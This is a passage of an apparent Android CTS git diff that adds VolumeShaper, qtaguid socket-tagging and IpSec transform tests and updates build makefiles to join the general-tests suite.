-                mWaitLock.notify();
-            }
+            mOnSkipToNextCalled = true;
+            mLatch.countDown();
         }
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
index 8c8c114..30f07e2 100644
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -115,6 +115,15 @@
                 .setDuration(RAMP_TIME_MS)
                 .build();
 
+    // a step ramp is not continuous, so we have a different test for it.
+    private static final VolumeShaper.Configuration STEP_RAMP =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_STEP)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 0.f, 1.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
     private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
         LINEAR_RAMP,
         CUBIC_RAMP,
@@ -877,6 +886,132 @@
     } // testPlayerCubicMonotonic
 
     @LargeTest
+    public void testPlayerStepRamp() throws Exception {
+        final String TEST_NAME = "testPlayerStepRamp";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        // We test that the step ramp persists on value until the next control point.
+        // The STEP_RAMP has only 2 control points (at time 0.f and at 1.f).
+        // It should suddenly jump to full volume at 1.f (full duration).
+        // Note: invertVolumes() and reflectTimes() are not symmetric for STEP interpolation;
+        // however, VolumeShaper.Operation.REVERSE will behave symmetrically.
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+                volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                final VolumeShaper.Configuration configuration = STEP_RAMP;
+                Log.d(TAG, testName + " starting test (sudden jump to full after "
+                        + RAMP_TIME_MS + " milliseconds)");
+
+                volumeShaper.replace(configuration,
+                        VolumeShaper.Operation.PLAY, true /* join */);
+
+                Thread.sleep(RAMP_TIME_MS / 2);
+                float lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " middle value should be 0.f, but is " + lastVolume,
+                        0.f, lastVolume, VOLUME_TOLERANCE);
+
+                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " final value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+
+                Log.d(TAG, "invert (sudden jump to silence after "
+                        + RAMP_TIME_MS + " milliseconds)");
+                // invert
+                VolumeShaper.Configuration newConfiguration =
+                        new VolumeShaper.Configuration.Builder(configuration)
+                            .invertVolumes()
+                            .build();
+                volumeShaper.replace(newConfiguration,
+                        VolumeShaper.Operation.PLAY, true /* join */);
+
+                Thread.sleep(RAMP_TIME_MS / 2);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " middle value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+
+                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " final value should be 0.f, but is " + lastVolume,
+                        0.f, lastVolume, VOLUME_TOLERANCE);
+
+                // invert + reflect
+                Log.d(TAG, "invert and reflect (sudden jump to full after "
+                        + RAMP_TIME_MS + " milliseconds)");
+                newConfiguration =
+                        new VolumeShaper.Configuration.Builder(configuration)
+                            .invertVolumes()
+                            .reflectTimes()
+                            .build();
+                volumeShaper.replace(newConfiguration,
+                        VolumeShaper.Operation.PLAY, true /* join */);
+
+                Thread.sleep(RAMP_TIME_MS / 2);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " middle value should be 0.f, but is " + lastVolume,
+                        0.f, lastVolume, VOLUME_TOLERANCE);
+
+                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " final value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+
+                // reflect
+                Log.d(TAG, "reflect (sudden jump to silence after "
+                        + RAMP_TIME_MS + " milliseconds)");
+                newConfiguration =
+                        new VolumeShaper.Configuration.Builder(configuration)
+                            .reflectTimes()
+                            .build();
+                volumeShaper.replace(newConfiguration,
+                        VolumeShaper.Operation.PLAY, true /* join */);
+
+                Thread.sleep(RAMP_TIME_MS / 2);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " middle value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+
+                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " final value should be 0.f, but is " + lastVolume,
+                        0.f, lastVolume, VOLUME_TOLERANCE);
+
+                Log.d(TAG, "reverse (immediate jump to full)");
+                volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+                Thread.sleep(RAMP_TIME_MS / 2);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " middle value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+
+                Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+                lastVolume = volumeShaper.getVolume();
+                assertEquals(testName
+                        + " final value should be 1.f, but is " + lastVolume,
+                        1.f, lastVolume, VOLUME_TOLERANCE);
+            }
+        }
+    } // testPlayerStepRamp
+
+    @LargeTest
     public void testPlayerTwoShapers() throws Exception {
         final String TEST_NAME = "testPlayerTwoShapers";
         if (!hasAudioOutput()) {
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 34bc778..55e7a3a 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
index 164e302..139aa00 100644
--- a/tests/tests/mediastress/jni/Android.mk
+++ b/tests/tests/mediastress/jni/Android.mk
@@ -29,4 +29,6 @@
 LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
 LOCAL_CXX_STL := libc++_static
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/mediastress/jni/native-media-jni.cpp b/tests/tests/mediastress/jni/native-media-jni.cpp
index 4a105e1..42fac20 100644
--- a/tests/tests/mediastress/jni/native-media-jni.cpp
+++ b/tests/tests/mediastress/jni/native-media-jni.cpp
@@ -106,7 +106,7 @@
         return JNI_FALSE;
     }
     assert(1 <= nbRead && nbRead <= NB_BUFFERS);
-    ALOGV("Initially queueing %u buffers of %u bytes each", nbRead, BUFFER_SIZE);
+    ALOGV("Initially queueing %zu buffers of %u bytes each", nbRead, BUFFER_SIZE);
 
     /* Enqueue the content of our cache before starting to play,
        we don't want to starve the player */
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index eeda8c8..4192e5d 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 67db1f5..e85fed2 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index a001387..065f5d2 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
@@ -71,7 +71,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index f1fc7fd..983a894 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -40,7 +40,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CFLAGS := -Werror -Wall
 
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 4c09ca4..7030d0c 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -23,6 +23,8 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsNativeMediaAAudioTestCases" />
-        <option name="runtime-hint" value="1m" />
+        <option name="runtime-hint" value="2m" />
+        <!-- test-timeout unit is ms, value = 2 min -->
+        <option name="native-test-timeout" value="120000" />
     </test>
 </configuration>
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index 2c50cd7..2e99354 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -42,7 +42,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.sl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CFLAGS := -Werror -Wall
 
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 8ea1062..c9dec22 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -38,9 +38,11 @@
 LOCAL_STATIC_LIBRARIES := \
   libgtest \
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.xa
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index bd60a1a..47f45c9 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 98cde9b..3493ccb 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -47,7 +47,7 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/net/appForApi23/Android.mk b/tests/tests/net/appForApi23/Android.mk
index f0d3535..ea99684 100644
--- a/tests/tests/net/appForApi23/Android.mk
+++ b/tests/tests/net/appForApi23/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := 23
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
index 0ec8d28..727a44d 100644
--- a/tests/tests/net/jni/Android.mk
+++ b/tests/tests/net/jni/Android.mk
@@ -27,6 +27,9 @@
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_CXX_STL := libc++_static
+
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
 include $(CLEAR_VARS)
@@ -34,6 +37,7 @@
 # Don't include this package in any configuration by default.
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := NativeMultinetworkJni.c
+LOCAL_CFLAGS := -Wall -Werror -Wno-format
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
 LOCAL_CXX_STL := libc++_static
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
index 8338432..b798d87 100644
--- a/tests/tests/net/native/Android.mk
+++ b/tests/tests/net/native/Android.mk
@@ -1,2 +1,15 @@
-include $(call all-subdir-makefiles)
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
 
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
index 4f5bf9f..b3eb28b 100644
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -16,15 +16,8 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-test_executable := CtsNativeNetTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsNativeNetTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -33,9 +26,6 @@
 LOCAL_SRC_FILES := \
     src/NativeQtaguidTest.cpp
 
-LOCAL_C_INCLUDES := \
-    external/gtest/include \
-
 LOCAL_SHARED_LIBRARIES := \
     libutils \
     liblog \
@@ -45,27 +35,9 @@
     libgtest
 
 LOCAL_CTS_TEST_PACKAGE := android.net.native
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    src/NativeQtaguidTest.cpp
-
-LOCAL_CFLAGS := \
-    -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 0301c81..9009c24 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -17,16 +17,12 @@
 #include <arpa/inet.h>
 #include <errno.h>
 #include <inttypes.h>
-#include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
+
 #include <gtest/gtest.h>
-
-#if !defined(BUILD_ONLY)
 #include <cutils/qtaguid.h>
-#endif
 
-#if !defined(BUILD_ONLY)
 int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
     FILE *fp;
     fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -69,12 +65,35 @@
     EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
     EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
     EXPECT_EQ(expect_addr, sk_addr);
-    EXPECT_EQ(0, qtaguid_untagSocket(sockfd));
+    close(sockfd);
     EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
 }
-#else
-void checkNoSocketPointerLeaks(int family) {}
-#endif
+
+TEST (NativeQtaguidTest, close_socket_without_untag) {
+    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
+    uid_t uid = getuid();
+    int tag = arc4random();
+    int ref_cnt;
+    uint64_t dummy_sk;
+    EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+    EXPECT_EQ(2, ref_cnt);
+    close(sockfd);
+    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
+
+TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
+    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
+    uid_t uid = getuid();
+    int tag = arc4random();
+    int ref_cnt;
+    uint64_t dummy_sk;
+    EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+    EXPECT_EQ(2, ref_cnt);
+    close(sockfd);
+    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
 
 TEST (NativeQtaguidTest, no_socket_addr_leak) {
   checkNoSocketPointerLeaks(AF_INET);
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index cd6dbb2..e98dfcc 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -37,6 +37,7 @@
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
 import android.net.wifi.WifiManager;
+import android.os.Looper;
 import android.os.SystemProperties;
 import android.system.Os;
 import android.system.OsConstants;
@@ -110,6 +111,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Looper.prepare();
         mContext = getContext();
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
@@ -279,11 +281,10 @@
     }
 
     private boolean isSupported(int networkType) {
-        // Change-Id I02eb5f22737720095f646f8db5c87fd66da129d6 added VPN support
-        // to all devices directly in software, independent of any external
-        // configuration.
         return mNetworks.containsKey(networkType) ||
-               (networkType == ConnectivityManager.TYPE_VPN);
+               (networkType == ConnectivityManager.TYPE_VPN) ||
+               (networkType == ConnectivityManager.TYPE_ETHERNET &&
+                       mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
     }
 
     public void testIsNetworkSupported() {
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
new file mode 100644
index 0000000..75bc528
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
@@ -0,0 +1,659 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.IpSecAlgorithm;
+import android.net.IpSecManager;
+import android.net.IpSecTransform;
+import android.os.ParcelFileDescriptor;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.test.AndroidTestCase;
+import java.net.ServerSocket;
+import android.util.Log;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileDescriptor;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.net.Inet6Address;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.util.Arrays;
+
+import android.system.OsConstants;
+import static android.system.OsConstants.IPPROTO_TCP;
+import static android.system.OsConstants.IPPROTO_UDP;
+
+public class IpSecManagerTest extends AndroidTestCase {
+
+    private static final String TAG = IpSecManagerTest.class.getSimpleName();
+
+    private IpSecManager mISM;
+
+    private ConnectivityManager mCM;
+
+    private static InetAddress IpAddress(String addrString) {
+        try {
+            return InetAddress.getByName(addrString);
+        } catch (UnknownHostException e) {
+            throw new IllegalArgumentException("Invalid IP address: " + e);
+        }
+    }
+
+    private static final InetAddress GOOGLE_DNS_4 = IpAddress("8.8.8.8");
+    private static final InetAddress GOOGLE_DNS_6 = IpAddress("2001:4860:4860::8888");
+    private static final InetAddress LOOPBACK_4 = IpAddress("127.0.0.1");
+
+    private static final InetAddress[] GOOGLE_DNS_LIST =
+            new InetAddress[] {GOOGLE_DNS_4, GOOGLE_DNS_6};
+
+    private static final int DROID_SPI = 0xD1201D;
+    private static final int MAX_PORT_BIND_ATTEMPTS = 10;
+
+    private static final byte[] CRYPT_KEY = {
+        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+        0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
+        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+        0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F
+    };
+    private static final byte[] AUTH_KEY = {
+        0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F,
+        0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F
+    };
+
+    private static final String IPV4_LOOPBACK = "127.0.0.1";
+    private static final String IPV6_LOOPBACK = "::1";
+
+    protected void setUp() throws Exception {
+        super.setUp();
+        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mISM = (IpSecManager) getContext().getSystemService(Context.IPSEC_SERVICE);
+    }
+
+    /*
+     * Allocate a random SPI
+     * Allocate a specific SPI using previous randomly created SPI value
+     * Realloc the same SPI that was specifically created (expect SpiUnavailable)
+     * Close SPIs
+     */
+    public void testAllocSpi() throws Exception {
+        for (InetAddress addr : GOOGLE_DNS_LIST) {
+            IpSecManager.SecurityParameterIndex randomSpi = null, droidSpi = null;
+            randomSpi = mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_OUT, addr);
+            assertTrue(
+                    "Failed to receive a valid SPI",
+                    randomSpi.getSpi() != IpSecManager.INVALID_SECURITY_PARAMETER_INDEX);
+
+            droidSpi =
+                    mISM.reserveSecurityParameterIndex(
+                            IpSecTransform.DIRECTION_IN, addr, DROID_SPI);
+            assertTrue(
+                    "Failed to allocate specified SPI, " + DROID_SPI,
+                    droidSpi.getSpi() == DROID_SPI);
+
+            try {
+                mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_IN, addr, DROID_SPI);
+                fail("Duplicate SPI was allowed to be created");
+            } catch (IpSecManager.SpiUnavailableException expected) {
+                // This is a success case because we expect a dupe SPI to throw
+            }
+
+            randomSpi.close();
+            droidSpi.close();
+        }
+    }
+
+    private byte[] getAuthKey(int bitLength) {
+        return Arrays.copyOf(AUTH_KEY, bitLength / 8);
+    }
+
+    private static int getDomain(InetAddress address) {
+        int domain;
+        if (address instanceof Inet6Address)
+            domain = OsConstants.AF_INET6;
+        else
+            domain = OsConstants.AF_INET;
+        return domain;
+    }
+
+    /** This function finds an available port */
+    private static int findUnusedPort() throws Exception {
+        // Get an available port.
+        DatagramSocket s = new DatagramSocket();
+        int port = s.getLocalPort();
+        s.close();
+        return port;
+    }
+
+    private static FileDescriptor getBoundUdpSocket(InetAddress address) throws Exception {
+        FileDescriptor sock =
+                Os.socket(getDomain(address), OsConstants.SOCK_DGRAM, OsConstants.IPPROTO_UDP);
+
+        for (int i = 0; i < MAX_PORT_BIND_ATTEMPTS; i++) {
+            try {
+                int port = findUnusedPort();
+                Os.bind(sock, address, port);
+                break;
+            } catch (ErrnoException e) {
+                // Someone claimed the port since we called findUnusedPort.
+                if (e.errno == OsConstants.EADDRINUSE) {
+                    if (i == MAX_PORT_BIND_ATTEMPTS - 1) {
+
+                        fail("Failed " + MAX_PORT_BIND_ATTEMPTS + " attempts to bind to a port");
+                    }
+                    continue;
+                }
+                throw e.rethrowAsIOException();
+            }
+        }
+        return sock;
+    }
+
+    private void checkUnconnectedUdp(IpSecTransform transform, InetAddress local) throws Exception {
+        FileDescriptor udpSocket = getBoundUdpSocket(local);
+        int localPort = getPort(udpSocket);
+
+        mISM.applyTransportModeTransform(udpSocket, transform);
+        byte[] data = new String("Best test data ever! Port: " + localPort).getBytes("UTF-8");
+
+        byte[] in = new byte[data.length];
+        Os.sendto(udpSocket, data, 0, data.length, 0, local, localPort);
+        Os.read(udpSocket, in, 0, in.length);
+        assertTrue("Encapsulated data did not match.", Arrays.equals(data, in));
+        mISM.removeTransportModeTransform(udpSocket, transform);
+        Os.close(udpSocket);
+    }
+
+    private void checkTcp(IpSecTransform transform, InetAddress local) throws Exception {
+        FileDescriptor server =
+            Os.socket(getDomain(local), OsConstants.SOCK_STREAM, IPPROTO_TCP);
+
+        FileDescriptor client =
+            Os.socket(getDomain(local), OsConstants.SOCK_STREAM, IPPROTO_TCP);
+
+        Os.bind(server, local, 0);
+        int port = ((InetSocketAddress) Os.getsockname(server)).getPort();
+
+        mISM.applyTransportModeTransform(client, transform);
+        mISM.applyTransportModeTransform(server, transform);
+
+        Os.listen(server, 10);
+        Os.connect(client, local, port);
+        FileDescriptor accepted = Os.accept(server, null);
+
+        mISM.applyTransportModeTransform(accepted, transform);
+
+        byte[] data = new String("Best test data ever! Port: " + port).getBytes("UTF-8");
+        byte[] in = new byte[data.length];
+
+        Os.write(client, data, 0, data.length);
+        Os.read(accepted, in, 0, in.length);
+        assertTrue("Client-to-server encrypted data did not match.", Arrays.equals(data, in));
+
+        data = new String("Best test data received !!!").getBytes("UTF-8");
+        in = new byte[data.length];
+
+        Os.write(accepted, data, 0, data.length);
+        Os.read(client, in, 0, in.length);
+        assertTrue("Server-to-client encrypted data did not match.", Arrays.equals(data, in));
+
+        mISM.removeTransportModeTransform(server, transform);
+        mISM.removeTransportModeTransform(client, transform);
+        mISM.removeTransportModeTransform(accepted, transform);
+
+        Os.close(server);
+        Os.close(client);
+        Os.close(accepted);
+    }
+
+    /*
+     * Alloc outbound SPI
+     * Alloc inbound SPI
+     * Create transport mode transform
+     * open socket
+     * apply transform to socket
+     * send data on socket
+     * release transform
+     * send data (expect exception)
+     */
+    public void testCreateTransform() throws Exception {
+        InetAddress local = LOOPBACK_4;
+        IpSecManager.SecurityParameterIndex outSpi =
+                mISM.reserveSecurityParameterIndex(IpSecTransform.DIRECTION_OUT, local);
+
+        IpSecManager.SecurityParameterIndex inSpi =
+                mISM.reserveSecurityParameterIndex(
+                        IpSecTransform.DIRECTION_IN, local, outSpi.getSpi());
+
+        IpSecTransform transform =
+                new IpSecTransform.Builder(mContext)
+                        .setSpi(IpSecTransform.DIRECTION_OUT, outSpi)
+                        .setEncryption(
+                                IpSecTransform.DIRECTION_OUT,
+                                new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                        .setAuthentication(
+                                IpSecTransform.DIRECTION_OUT,
+                                new IpSecAlgorithm(
+                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
+                                        AUTH_KEY,
+                                        AUTH_KEY.length * 8))
+                        .setSpi(IpSecTransform.DIRECTION_IN, inSpi)
+                        .setEncryption(
+                                IpSecTransform.DIRECTION_IN,
+                                new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                        .setAuthentication(
+                                IpSecTransform.DIRECTION_IN,
+                                new IpSecAlgorithm(
+                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
+                                        AUTH_KEY,
+                                        CRYPT_KEY.length * 8))
